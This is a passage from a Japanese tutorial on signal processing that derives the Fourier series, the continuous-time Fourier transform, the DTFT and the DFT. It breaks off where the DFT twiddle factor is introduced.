&lt;p&gt;&lt;strong&gt;離散時間&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle \sum_{n=0}^{N-1} |x[n]|^2 = \frac{1}{N} \sum_{k=0}^{N-1} |X[k]|^2 \tag{11}$$
&lt;h2&gt;フーリエ級数（理論的基礎）&lt;/h2&gt;
&lt;h3&gt;フーリエ級数の定義&lt;/h3&gt;
&lt;p&gt;周期Tの周期関数f(t)は、以下のように正弦波と余弦波の和で表すことができます：&lt;/p&gt;
$$\displaystyle f(t) = \frac{a_0}{2} + \sum_{n=1}^{\infty} (a_n \cos(n\omega_0 t) + b_n \sin(n\omega_0 t))$$
&lt;p&gt;ここで、&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\omega_0 = \frac{2\pi}{T}$：基本角周波数&lt;/li&gt;
&lt;li&gt;$a_0, a_n, b_n$：フーリエ係数&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;フーリエ級数の導出&lt;/h3&gt;
&lt;h4&gt;ステップ1: 直交性の確認&lt;/h4&gt;
&lt;p&gt;まず、三角関数の直交性を確認します：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;余弦関数の直交性&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle \int_0^T \cos(n\omega_0 t) \cos(m\omega_0 t) \, dt = \begin{cases} \frac{T}{2} &amp;amp; (n = m \neq 0) \\ T &amp;amp; (n = m = 0) \\ 0 &amp;amp; (n \neq m) \end{cases}$$
&lt;p&gt;&lt;strong&gt;正弦関数の直交性&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle \int_0^T \sin(n\omega_0 t) \sin(m\omega_0 t) \, dt = \begin{cases} \frac{T}{2} &amp;amp; (n = m \neq 0) \\ 0 &amp;amp; (n \neq m) \end{cases}$$
&lt;p&gt;&lt;strong&gt;余弦と正弦の直交性&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle \int_0^T \cos(n\omega_0 t) \sin(m\omega_0 t) \, dt = 0 \quad \text{(すべてのn, mに対して)}$$
&lt;h4&gt;ステップ2: フーリエ係数の導出&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;$a_0$の導出&lt;/strong&gt;:&lt;br /&gt;f(t)の両辺を[0, T]で積分：&lt;/p&gt;
$$\displaystyle \int_0^T f(t) \, dt = \int_0^T \left(\frac{a_0}{2} + \sum_{n=1}^{\infty} (a_n \cos(n\omega_0 t) + b_n \sin(n\omega_0 t))\right) \, dt$$
&lt;p&gt;直交性により、$n \geq 1$の項は0になるので：&lt;/p&gt;
$$\displaystyle \int_0^T f(t) \, dt = \int_0^T \frac{a_0}{2} \, dt = \frac{a_0}{2} \cdot T$$
&lt;p&gt;したがって：&lt;/p&gt;
$$\displaystyle a_0 = \frac{2}{T} \int_0^T f(t) \, dt$$
&lt;p&gt;&lt;strong&gt;$a_n$の導出&lt;/strong&gt;:&lt;br /&gt;f(t)に$\cos(m\omega_0 t)$を掛けて[0, T]で積分：&lt;/p&gt;
$$\displaystyle \int_0^T f(t) \cos(m\omega_0 t) \, dt = \int_0^T \left(\frac{a_0}{2} + \sum_{n=1}^{\infty} (a_n \cos(n\omega_0 t) + b_n \sin(n\omega_0 t))\right) \cos(m\omega_0 t) \, dt$$
&lt;p&gt;直交性により、$m=n$の場合のみ残る：&lt;/p&gt;
$$\displaystyle \int_0^T f(t) \cos(m\omega_0 t) \, dt = a_m \cdot \frac{T}{2}$$
&lt;p&gt;したがって：&lt;/p&gt;
$$\displaystyle a_n = \frac{2}{T} \int_0^T f(t) \cos(n\omega_0 t) \, dt$$
&lt;p&gt;&lt;strong&gt;$b_n$の導出&lt;/strong&gt;:&lt;br /&gt;同様に、f(t)に$\sin(m\omega_0 t)$を掛けて[0, T]で積分：&lt;/p&gt;
$$\displaystyle \int_0^T f(t) \sin(m\omega_0 t) \, dt = \int_0^T \left(\frac{a_0}{2} + \sum_{n=1}^{\infty} (a_n \cos(n\omega_0 t) + b_n \sin(n\omega_0 t))\right) \sin(m\omega_0 t) \, dt$$
&lt;p&gt;直交性により：&lt;/p&gt;
$$\displaystyle \int_0^T f(t) \sin(m\omega_0 t) \, dt = b_m \cdot \frac{T}{2}$$
&lt;p&gt;したがって：&lt;/p&gt;
$$\displaystyle b_n = \frac{2}{T} \int_0^T f(t) \sin(n\omega_0 t) \, dt$$
&lt;h3&gt;複素フーリエ級数&lt;/h3&gt;
&lt;h4&gt;複素フーリエ級数の導出&lt;/h4&gt;
&lt;p&gt;オイラーの公式を用いて、フーリエ級数を複素形式で表します：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ1: オイラーの公式の適用&lt;/strong&gt;&lt;/p&gt;
$$\displaystyle \cos(n\omega_0 t) = \frac{e^{jn\omega_0 t} + e^{-jn\omega_0 t}}{2}$$ $$\displaystyle \sin(n\omega_0 t) = \frac{e^{jn\omega_0 t} - e^{-jn\omega_0 t}}{2j}$$
&lt;p&gt;&lt;strong&gt;ステップ2: フーリエ級数の変形&lt;/strong&gt;&lt;/p&gt;
$$\displaystyle f(t) = \frac{a_0}{2} + \sum_{n=1}^{\infty} (a_n \cos(n\omega_0 t) + b_n \sin(n\omega_0 t))$$
&lt;p&gt;オイラーの公式を適用：&lt;/p&gt;
$$\displaystyle f(t) = \frac{a_0}{2} + \sum_{n=1}^{\infty} \left[a_n \frac{e^{jn\omega_0 t} + e^{-jn\omega_0 t}}{2} + b_n \frac{e^{jn\omega_0 t} - e^{-jn\omega_0 t}}{2j}\right]$$
&lt;p&gt;項を整理：&lt;/p&gt;
$$\displaystyle = \frac{a_0}{2} + \sum_{n=1}^{\infty} \left[\frac{a_n}{2} \cdot e^{jn\omega_0 t} + \frac{a_n}{2} \cdot e^{-jn\omega_0 t} + \frac{b_n}{2j} \cdot e^{jn\omega_0 t} - \frac{b_n}{2j} \cdot e^{-jn\omega_0 t}\right]$$ $$\displaystyle = \frac{a_0}{2} + \sum_{n=1}^{\infty} \left[\left(\frac{a_n}{2} + \frac{b_n}{2j}\right) \cdot e^{jn\omega_0 t} + \left(\frac{a_n}{2} - \frac{b_n}{2j}\right) \cdot e^{-jn\omega_0 t}\right]$$
&lt;p&gt;$\frac{1}{j} = -j$ の関係を使用：&lt;/p&gt;
$$\displaystyle = \frac{a_0}{2} + \sum_{n=1}^{\infty} \left[\frac{a_n - jb_n}{2} \cdot e^{jn\omega_0 t} + \frac{a_n + jb_n}{2} \cdot e^{-jn\omega_0 t}\right]$$
&lt;p&gt;&lt;strong&gt;ステップ3: 複素係数の定義&lt;/strong&gt;&lt;/p&gt;
$$\displaystyle c_0 = \frac{a_0}{2}$$ $$\displaystyle c_n = \frac{a_n - jb_n}{2} \quad (n &amp;gt; 0)$$ $$\displaystyle c_{-n} = \frac{a_n + jb_n}{2} \quad (n &amp;gt; 0)$$
&lt;p&gt;&lt;strong&gt;ステップ4: 最終形&lt;/strong&gt;&lt;/p&gt;
$$\displaystyle f(t) = \sum_{n=-\infty}^{\infty} c_n e^{jn\omega_0 t}$$
&lt;p&gt;ここで、&lt;/p&gt;
$$\displaystyle c_n = \frac{1}{T} \int_0^T f(t) e^{-jn\omega_0 t} \, dt$$
&lt;p&gt;&lt;strong&gt;導出の確認&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle c_n = \frac{1}{T} \int_0^T f(t) e^{-jn\omega_0 t} \, dt$$ $$\displaystyle = \frac{1}{T} \int_0^T \left[\sum_{m=-\infty}^{\infty} c_m e^{jm\omega_0 t}\right] e^{-jn\omega_0 t} \, dt$$ $$\displaystyle = \frac{1}{T} \sum_{m=-\infty}^{\infty} c_m \int_0^T e^{j(m-n)\omega_0 t} \, dt$$
&lt;p&gt;$m=n$の場合：&lt;/p&gt;
$$\displaystyle \int_0^T e^{j(m-n)\omega_0 t} \, dt = \int_0^T 1 \, dt = T$$
&lt;p&gt;$m \neq n$の場合：&lt;/p&gt;
$$\displaystyle \int_0^T e^{j(m-n)\omega_0 t} \, dt = \left[\frac{e^{j(m-n)\omega_0 t}}{j(m-n)\omega_0}\right]_0^T = 0$$
&lt;p&gt;したがって：&lt;/p&gt;
$$\displaystyle c_n = \frac{1}{T} \cdot c_n \cdot T = c_n$$
&lt;h2&gt;連続時間フーリエ変換&lt;/h2&gt;
&lt;h3&gt;フーリエ変換の定義&lt;/h3&gt;
&lt;p&gt;連続時間信号 x(t) のフーリエ変換は、次の式で定義されます。&lt;/p&gt;
$$\displaystyle X(\omega) = \int_{-\infty}^{\infty} x(t) e^{-j\omega t} \, dt$$
&lt;h3&gt;変数の意味&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;$X(\omega)$：x(t) のフーリエ変換（周波数ドメインの表現）&lt;/li&gt;
&lt;li&gt;$x(t)$：連続時間の信号&lt;/li&gt;
&lt;li&gt;$t$：時刻（秒）&lt;/li&gt;
&lt;li&gt;$\omega$：角周波数（ラジアン/秒），$\omega = 2\pi f$&lt;/li&gt;
&lt;li&gt;$f$：周波数（Hz）&lt;/li&gt;
&lt;li&gt;$j$：虚数単位（$j^2 = -1$）&lt;/li&gt;
&lt;li&gt;$e$：自然対数の底&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;重要な注意事項&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;積分範囲は $-\infty$ から $\infty$ まで&lt;/li&gt;
&lt;li&gt;被積分関数は $x(t)$ と $e^{-j\omega t}$ の積&lt;/li&gt;
&lt;li&gt;$\omega$ は連続的な変数&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;フーリエ変換の導出&lt;/h3&gt;
&lt;h4&gt;ステップ1: フーリエ級数からフーリエ変換への拡張&lt;/h4&gt;
&lt;p&gt;周期Tの信号を非周期信号に拡張する過程：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;周期信号の場合&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle f(t) = \sum_{n=-\infty}^{\infty} c_n e^{jn\omega_0 t}$$ $$\displaystyle c_n = \frac{1}{T} \int_{-T/2}^{T/2} f(t) e^{-jn\omega_0 t} \, dt$$
&lt;p&gt;&lt;strong&gt;非周期信号への拡張&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$T \to \infty$ とすると、$\omega_0 = \frac{2\pi}{T} \to 0$&lt;/li&gt;
&lt;li&gt;離散的な周波数 $n\omega_0$ が連続的な周波数 $\omega$ に変化&lt;/li&gt;
&lt;li&gt;フーリエ係数 $c_n$ が連続的な関数 $X(\omega)$ に変化&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ステップ2: 数学的導出&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;ステップ2-1: 周期信号の表現&lt;/strong&gt;&lt;br /&gt;周期Tの信号 f(t) について：&lt;/p&gt;
&lt;p&gt;複素フーリエ級数の定義：&lt;/p&gt;
$$\displaystyle f(t) = \sum_{n=-\infty}^{\infty} c_n e^{jn\omega_0 t}$$
&lt;p&gt;ここで、$c_n$は複素フーリエ係数：&lt;/p&gt;
$$\displaystyle c_n = \frac{1}{T} \int_0^T f(t) e^{-jn\omega_0 t} \, dt$$
&lt;p&gt;または、対称な積分範囲：&lt;/p&gt;
$$\displaystyle c_n = \frac{1}{T} \int_{-T/2}^{T/2} f(t) e^{-jn\omega_0 t} \, dt$$
&lt;p&gt;基本角周波数：&lt;/p&gt;
$$\displaystyle \omega_0 = \frac{2\pi}{T}$$
&lt;p&gt;&lt;strong&gt;ステップ2-2: 非周期信号への極限&lt;/strong&gt;&lt;br /&gt;$T \to \infty$ の極限を取る：&lt;/p&gt;
$$\displaystyle f(t) = \lim_{T \to \infty} \sum_{n=-\infty}^{\infty} c_n e^{jn\omega_0 t}$$
&lt;p&gt;&lt;strong&gt;ステップ2-3: $c_n$を代入して整理&lt;/strong&gt;&lt;br /&gt;$c_n$の定義を代入します。ここで、f(t)の変数tと$c_n$の積分変数が衝突するため、$c_n$の積分変数は$\tau$に置き換えます：&lt;/p&gt;
$$\displaystyle f(t) = \lim_{T \to \infty} \sum_{n=-\infty}^{\infty} \left[\frac{1}{T} \int_{-T/2}^{T/2} f(\tau) e^{-jn\omega_0 \tau} \, d\tau\right] e^{jn\omega_0 t}$$
&lt;p&gt;$\frac{1}{T}$を分配：&lt;/p&gt;
$$\displaystyle = \lim_{T \to \infty} \sum_{n=-\infty}^{\infty} \left[\int_{-T/2}^{T/2} f(\tau) e^{-j\omega_n \tau} \, d\tau\right] e^{j\omega_n t} / T$$
&lt;p&gt;注意：変数$\tau$は積分の内部変数で、最終的な式f(t)の変数tとは区別されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ2-4: 周波数変数の変換&lt;/strong&gt;&lt;br /&gt;$n\omega_0 = \omega_n$ とおき、&lt;strong&gt;$\Delta\omega = \omega_0 = \frac{2\pi}{T}$&lt;/strong&gt; とすると：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;リーマン和の準備&lt;/strong&gt;:&lt;br /&gt;離散的な周波数間隔$\Delta\omega$を導入することで、総和を積分に変換する準備をします。&lt;strong&gt;$\frac{1}{T} = \frac{\Delta\omega}{2\pi}$&lt;/strong&gt;の関係により：&lt;/p&gt;
$$\displaystyle f(t) = \lim_{T \to \infty} \sum_{n=-\infty}^{\infty} X_T(\omega_n) e^{j\omega_n t} \cdot \frac{\Delta\omega}{2\pi}$$
&lt;p&gt;&lt;strong&gt;$\Delta\omega/2\pi$の意味&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\Delta\omega = \frac{2\pi}{T}$ は周波数間隔&lt;/li&gt;
&lt;li&gt;$\frac{1}{T} = \frac{\Delta\omega}{2\pi}$ は正規化係数&lt;/li&gt;
&lt;li&gt;この係数により、総和が積分に変換される&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ステップ2-6: リーマン和から積分へ&lt;/strong&gt;&lt;br /&gt;$T \to \infty$ のとき、$\Delta\omega \to 0$ となるので、これはリーマン和となる：&lt;/p&gt;
$$\displaystyle f(t) = \frac{1}{2\pi} \int_{-\infty}^{\infty} X(\omega) e^{j\omega t} \, d\omega$$
&lt;p&gt;ここで、$X(\omega) = \lim_{T \to \infty} X_T(\omega) = \int_{-\infty}^{\infty} f(t) e^{-j\omega t} \, dt$ となる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;導出の確認：&lt;/strong&gt;&lt;br /&gt;$T \to \infty$ の極限では：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\omega_0 = \frac{2\pi}{T} \to 0$&lt;/li&gt;
&lt;li&gt;$n\omega_0 = n\frac{2\pi}{T} \to$ 連続変数 $\omega$&lt;/li&gt;
&lt;li&gt;$\Delta\omega = \omega_0 \to d\omega$&lt;/li&gt;
&lt;li&gt;$T \cdot c_n = X_T(\omega) \to X(\omega)$&lt;/li&gt;
&lt;li&gt;$\sum_{n=-\infty}^{\infty} \to \int_{-\infty}^{\infty}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ステップ2-7: 収束条件の確認&lt;/strong&gt;&lt;br /&gt;フーリエ変換が存在するための条件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;信号$f(t)$が絶対可積分：$\int_{-\infty}^{\infty} |f(t)| \, dt &amp;lt; \infty$&lt;/li&gt;
&lt;li&gt;または、エネルギー有限：$\int_{-\infty}^{\infty} |f(t)|^2 \, dt &amp;lt; \infty$&lt;/li&gt;
&lt;li&gt;ディリクレ条件を満たす（有限個の不連続点、有限個の極値）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ステップ3: 最終的な定義&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;フーリエ変換&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle X(\omega) = \int_{-\infty}^{\infty} x(t) e^{-j\omega t} \, dt$$
&lt;p&gt;&lt;strong&gt;フーリエ逆変換&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle x(t) = \frac{1}{2\pi} \int_{-\infty}^{\infty} X(\omega) e^{j\omega t} \, d\omega$$
&lt;h3&gt;フーリエ逆変換&lt;/h3&gt;
&lt;p&gt;フーリエ逆変換は、周波数ドメインの信号 $X(\omega)$ を時間ドメインの信号 $x(t)$ に戻す変換です。&lt;/p&gt;
$$\displaystyle x(t) = \frac{1}{2\pi} \int_{-\infty}^{\infty} X(\omega) e^{j\omega t} \, d\omega$$
&lt;p&gt;この式により、周波数スペクトルから元の時間信号を復元することができます。&lt;/p&gt;
&lt;h3&gt;逆変換の注意事項&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;正規化係数 $\frac{1}{2\pi}$ が重要&lt;/li&gt;
&lt;li&gt;積分変数は $\omega$（角周波数）&lt;/li&gt;
&lt;li&gt;被積分関数は $X(\omega)$ と $e^{j\omega t}$ の積&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;教科書による定義の違い&lt;/h3&gt;
&lt;p&gt;※教科書によっては、以下の式でフーリエ変換・逆変換を定義しているものもあります：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;対称的な定義（第2の規約）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;フーリエ変換：&lt;/p&gt;
$$\displaystyle X(\omega) = \frac{1}{\sqrt{2\pi}} \int_{-\infty}^{\infty} x(t) e^{-j\omega t} \, dt$$
&lt;p&gt;フーリエ逆変換：&lt;/p&gt;
$$\displaystyle x(t) = \frac{1}{\sqrt{2\pi}} \int_{-\infty}^{\infty} X(\omega) e^{j\omega t} \, d\omega$$
&lt;p&gt;この定義では、フーリエ変換と逆変換の両方に同じ正規化係数 $\frac{1}{\sqrt{2\pi}}$ が付きます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要な注意&lt;/strong&gt;: どちらの定義を使うかは教科書や分野によって異なります。計算時は一貫して同じ定義を使うことが重要です。&lt;/p&gt;

&lt;h2&gt;離散時間フーリエ変換（DTFT）&lt;/h2&gt;
&lt;h3&gt;DTFTの定義&lt;/h3&gt;
&lt;p&gt;離散時間信号 x[n] の離散時間フーリエ変換（DTFT）は、次の式で定義されます。&lt;/p&gt;
$$\displaystyle X(e^{j\omega}) = \sum_{n=-\infty}^{\infty} x[n] e^{-j\omega n}$$
&lt;h3&gt;変数の意味&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;$X(e^{j\omega})$：x[n] の離散時間フーリエ変換&lt;/li&gt;
&lt;li&gt;$x[n]$：離散時間の信号（nは整数）&lt;/li&gt;
&lt;li&gt;$n$：離散時間のインデックス（サンプル番号）&lt;/li&gt;
&lt;li&gt;$\omega$：正規化角周波数（ラジアン/サンプル）&lt;/li&gt;
&lt;li&gt;$j$：虚数単位（$j^2 = -1$）&lt;/li&gt;
&lt;li&gt;$e$：自然対数の底&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;重要な注意事項&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;総和範囲は $-\infty$ から $\infty$ まで&lt;/li&gt;
&lt;li&gt;被総和項は $x[n]$ と $e^{-j\omega n}$ の積&lt;/li&gt;
&lt;li&gt;$\omega$ は連続的な変数（$-\pi \leq \omega \leq \pi$）&lt;/li&gt;
&lt;li&gt;$X(e^{j\omega})$ は周期 $2\pi$ の周期関数&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DTFTの導出&lt;/h3&gt;
&lt;h4&gt;ステップ1: 連続時間フーリエ変換から離散時間フーリエ変換への変換&lt;/h4&gt;
&lt;p&gt;連続時間フーリエ変換：&lt;/p&gt;
$$\displaystyle X(\omega) = \int_{-\infty}^{\infty} x(t) e^{-j\omega t} \, dt$$
&lt;p&gt;離散時間信号 $x[n]$ を考えます。これは連続時間信号 $x(t)$ をサンプリングしたものです：&lt;/p&gt;
$$\displaystyle x[n] = x(nT_s)$$
&lt;p&gt;ここで、$T_s$ はサンプリング周期です。&lt;/p&gt;
&lt;h4&gt;ステップ2: サンプリング定理の適用&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;サンプリング定理（ナイキスト・シャノンの定理）&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;連続信号を正確に復元するには、サンプリング周波数 $f_s$ が信号の最高周波数 $f_{max}$ の2倍以上である必要がある&lt;/li&gt;
&lt;li&gt;条件：$f_s \geq 2f_{max}$&lt;/li&gt;
&lt;li&gt;ナイキスト周波数：$f_N = \frac{f_s}{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;エイリアシング現象&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ナイキスト周波数を超える周波数成分は、低い周波数に折り返される&lt;/li&gt;
&lt;li&gt;これにより、元の信号と区別できない偽の周波数成分が生じる&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ステップ3: 離散化による変換&lt;/h4&gt;
&lt;p&gt;連続時間フーリエ変換の積分を離散和に変換：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;連続時間の場合&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle X(\omega) = \int_{-\infty}^{\infty} x(t) e^{-j\omega t} \, dt$$
&lt;p&gt;&lt;strong&gt;離散時間の場合&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle X(e^{j\omega}) = \sum_{n=-\infty}^{\infty} x[n] e^{-j\omega n}$$
&lt;p&gt;ここで、$\omega$ は正規化角周波数（$\omega = \Omega T_s$）です。&lt;/p&gt;
&lt;h4&gt;ステップ4: 正規化角周波数の意味&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;正規化角周波数 $\omega$ の定義&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\omega = \Omega T_s = 2\pi f T_s = \frac{2\pi f}{f_s}$&lt;/li&gt;
&lt;li&gt;$\Omega$：連続時間の角周波数（ラジアン/秒）&lt;/li&gt;
&lt;li&gt;$f$：連続時間の周波数（Hz）&lt;/li&gt;
&lt;li&gt;$f_s$：サンプリング周波数（Hz）&lt;/li&gt;
&lt;li&gt;$T_s$：サンプリング周期（秒）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;周波数範囲&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;連続時間：$-\infty &amp;lt; \Omega &amp;lt; \infty$&lt;/li&gt;
&lt;li&gt;離散時間：$-\pi \leq \omega \leq \pi$（または $0 \leq \omega &amp;lt; 2\pi$）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DTFTの性質&lt;/h3&gt;
&lt;h4&gt;周期性&lt;/h4&gt;
&lt;p&gt;$X(e^{j\omega})$ は周期 $2\pi$ の周期関数です：&lt;/p&gt;
$$\displaystyle X(e^{j(\omega+2\pi)}) = X(e^{j\omega})$$
&lt;p&gt;&lt;strong&gt;証明&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle X(e^{j(\omega+2\pi)}) = \sum_{n=-\infty}^{\infty} x[n] e^{-j(\omega+2\pi)n}$$ $$\displaystyle = \sum_{n=-\infty}^{\infty} x[n] e^{-j\omega n} e^{-j2\pi n}$$ $$\displaystyle = \sum_{n=-\infty}^{\infty} x[n] e^{-j\omega n} \cdot 1$$ $$\displaystyle = X(e^{j\omega})$$
&lt;p&gt;ここで、$e^{-j2\pi n} = 1$（nは整数）であることを利用しました。&lt;/p&gt;
&lt;h4&gt;対称性&lt;/h4&gt;
&lt;p&gt;実信号の場合、以下の対称性が成り立ちます：&lt;/p&gt;
$$\displaystyle X(e^{j\omega}) = X^*(e^{-j\omega})$$
&lt;p&gt;ここで、$*$ は複素共役を表します。&lt;/p&gt;
&lt;h3&gt;DTFTの逆変換&lt;/h3&gt;
&lt;p&gt;DTFTの逆変換は、次の式で与えられます：&lt;/p&gt;
$$\displaystyle x[n] = \frac{1}{2\pi} \int_{-\pi}^{\pi} X(e^{j\omega}) e^{j\omega n} \, d\omega$$
&lt;p&gt;この式により、周波数スペクトルから元の離散時間信号を復元することができます。&lt;/p&gt;
&lt;h3&gt;DTFTの注意事項&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;積分範囲は $-\pi$ から $\pi$ まで（または $0$ から $2\pi$ まで）&lt;/li&gt;
&lt;li&gt;正規化係数 $\frac{1}{2\pi}$ が重要&lt;/li&gt;
&lt;li&gt;積分変数は $\omega$（正規化角周波数）&lt;/li&gt;
&lt;li&gt;被積分関数は $X(e^{j\omega})$ と $e^{j\omega n}$ の積&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DTFTの応用&lt;/h3&gt;
&lt;h4&gt;音響信号解析&lt;/h4&gt;
&lt;p&gt;DTFTは音響信号の周波数解析に広く用いられています：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;楽器の音色分析&lt;/strong&gt;: 各楽器の特徴的な周波数成分を特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;音声解析&lt;/strong&gt;: 音声の基本周波数やフォルマント周波数の分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ノイズ解析&lt;/strong&gt;: 不要な周波数成分の特定と除去&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;実装時の考慮事項&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;計算量の問題&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DTFTは無限和を扱うため、直接計算は困難&lt;/li&gt;
&lt;li&gt;実際の実装では、有限長の信号を仮定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DTFTは連続$\omega$の数値評価&lt;/strong&gt;：$K$ 点の周波数評価で $O(NK)$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DFT/FFTは離散$\omega$&lt;/strong&gt;：$K=N$ の離散周波数点を $O(N \log N)$ で計算&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;メモリ制約&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;連続的な周波数変数 $\omega$ を離散化する必要&lt;/li&gt;
&lt;li&gt;周波数解像度と計算量のトレードオフ&lt;/li&gt;
&lt;li&gt;実用的にはDFT（離散フーリエ変換）を使用&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;離散フーリエ変換（DFT）&lt;/h2&gt;
&lt;h3&gt;DFTの定義&lt;/h3&gt;
&lt;p&gt;N点離散フーリエ変換（DFT）は、次の式で定義されます。&lt;/p&gt;
$$\displaystyle X[k] = \sum_{n=0}^{N-1} x[n] e^{-j\frac{2\pi}{N}kn}$$
&lt;h3&gt;変数の意味&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;$X[k]$：x[n] の離散フーリエ変換（k番目の周波数成分）&lt;/li&gt;
&lt;li&gt;$x[n]$：離散時間の信号（$n = 0, 1, \ldots, N-1$）&lt;/li&gt;
&lt;li&gt;$n$：離散時間のインデックス（サンプル番号）&lt;/li&gt;
&lt;li&gt;$k$：周波数インデックス（$k = 0, 1, \ldots, N-1$）&lt;/li&gt;
&lt;li&gt;$N$：DFTの点数&lt;/li&gt;
&lt;li&gt;$j$：虚数単位（$j^2 = -1$）&lt;/li&gt;
&lt;li&gt;$e$：自然対数の底&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;重要な注意事項&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;総和範囲は $0$ から $N-1$ まで&lt;/li&gt;
&lt;li&gt;被総和項は $x[n]$ と $e^{-j\frac{2\pi}{N}kn}$ の積&lt;/li&gt;
&lt;li&gt;$k$ は離散的な変数（$0 \leq k \leq N-1$）&lt;/li&gt;
&lt;li&gt;$X[k]$ は（拡張すれば）周期 $N$ の周期関数（$X[k+N]=X[k]$）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DFTの導出&lt;/h3&gt;
&lt;h4&gt;ステップ1: DTFTからDFTへの変換&lt;/h4&gt;
&lt;p&gt;DTFTの定義：&lt;/p&gt;
$$\displaystyle X(e^{j\omega}) = \sum_{n=-\infty}^{\infty} x[n] e^{-j\omega n}$$
&lt;p&gt;有限長信号 $x[n]$（$n = 0, 1, \ldots, N-1$）を考えます。この場合、DTFTは：&lt;/p&gt;
$$\displaystyle X(e^{j\omega}) = \sum_{n=0}^{N-1} x[n] e^{-j\omega n}$$
&lt;h4&gt;ステップ2: 周波数の離散化&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;周波数離散化の必要性&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コンピュータで連続的な周波数変数 $\omega$ を扱うことは不可能&lt;/li&gt;
&lt;li&gt;有限個の周波数点でのみ計算を行う必要&lt;/li&gt;
&lt;li&gt;周波数解像度：$\Delta\omega = \frac{2\pi}{N}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;離散化された周波数&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle \omega_k = k \cdot \frac{2\pi}{N} \quad (k = 0, 1, \ldots, N-1)$$
&lt;p&gt;ここで、$k$ は周波数インデックスです。&lt;/p&gt;
&lt;h4&gt;ステップ3: DFTの定義&lt;/h4&gt;
&lt;p&gt;離散化された周波数でのDTFT：&lt;/p&gt;
$$\displaystyle X[k] = X(e^{j\omega_k}) = \sum_{n=0}^{N-1} x[n] e^{-j\omega_k n}$$
&lt;p&gt;$\omega_k = k\frac{2\pi}{N}$ を代入：&lt;/p&gt;
$$\displaystyle X[k] = \sum_{n=0}^{N-1} x[n] e^{-j\frac{2\pi}{N}kn}$$
&lt;h4&gt;ステップ4: 回転因子の導入&lt;/h4&gt;
&lt;p&gt;回転因子 $W_N$ を定義：&lt;/p&gt;
